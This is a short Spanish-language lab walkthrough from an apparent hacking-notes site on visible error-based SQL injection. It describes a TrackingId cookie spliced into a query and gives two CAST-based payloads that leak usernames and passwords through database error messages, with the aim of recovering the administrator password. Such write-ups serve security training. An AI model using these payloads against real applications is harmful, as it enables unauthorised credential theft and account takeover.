> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/error-based-sql-injection.md).

# Inyección SQL basada en errores

### Inyección SQL basada en errores visibles

**Contexto breve:** la aplicación concatena el valor de la `TrackingId` cookie en una consulta SQL. Al provocar un \*\*error de conversión / función\*\* en el contenido de una columna (nombre de usuario/contraseña), algunos SGBD devuelven un mensaje de error que contiene el valor; este mensaje se convierte en una cadena de exfiltración. Objetivo: obtener la `administrator` contraseña y luego iniciar sesión.

<figure><img src="/files/79bca776555dda27bd5667e3393fe0be97741dba" alt=""><figcaption></figcaption></figure>

```sql
' or 1=cast((select username from users limit 1)as INT)-- -
```

<figure><img src="/files/b562cd5f085fa5f1945b13ae08ef3354e84f00b0" alt=""><figcaption></figcaption></figure>

```sql
' or 1=cast((select password from users limit 1)as INT)-- -
```

<figure><img src="/files/61d36ee4cfbc5f8d5ed0582904032880aab736ec" alt=""><figcaption></figcaption></figure>


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